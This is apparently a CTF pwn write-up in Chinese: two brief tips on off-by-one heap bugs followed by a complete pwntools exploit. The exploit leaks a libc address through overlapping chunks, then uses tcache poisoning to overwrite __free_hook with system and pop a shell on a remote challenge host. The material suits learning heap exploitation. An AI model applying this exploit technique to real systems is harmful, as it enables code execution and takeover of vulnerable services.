参考博客
- off-by-one确实比off-by-null好打多了
- 注意off-by-one构造overlapping chunk的时候要使得通过size找到的chunk的prev_inuse=1
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/vuln")
p=remote('10.131.221.99',53721)
elf = ELF("/home/zp9080/PWN/vuln")
libc=elf.libc
def dbg():
gdb.attach(p,'b *¥rebase(0x181C)')
pause()
def add(idx,size):
p.sendlineafter(">>> ",str(1))
p.sendlineafter("please input chunk_idx: ",str(idx))
p.sendlineafter("Enter chunk size: ",str(size))
def delete(idx):
p.sendlineafter(">>> ",str(2))
p.sendlineafter("please input chunk_idx: ",str(idx))
def show(idx):
p.sendlineafter(">>> ",str(3))
p.sendlineafter("please input chunk_idx: ",str(idx))
def edit(idx,content):
p.sendlineafter(">>> ",str(4))
p.sendlineafter("please input chunk_idx: ",str(idx))
p.send(content)
for i in range(7):
add(i,0xb0)
for i in range(7):
delete(i)
# off-by-one to leak libc_base
for i in range(6):
add(i,0x28)#0-5
edit(0,'a'*0x28+'\xc1')
delete(1)
add(1,0x28) #切割unsorted bin
show(2)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
free_hook=libcbase+libc.sym['__free_hook']
system_addr=libcbase+libc.sym['system']
#打tcache poison
delete(4)
delete(3)
add(6,0x70)
edit(6,b'a'*0x20+p64(0)+p64(0x31)+p64(free_hook))
add(3,0x28)
edit(3,b'/bin/sh\x00')
add(4,0x28)
edit(4,p64(system_addr))
delete(3)
p.interactive()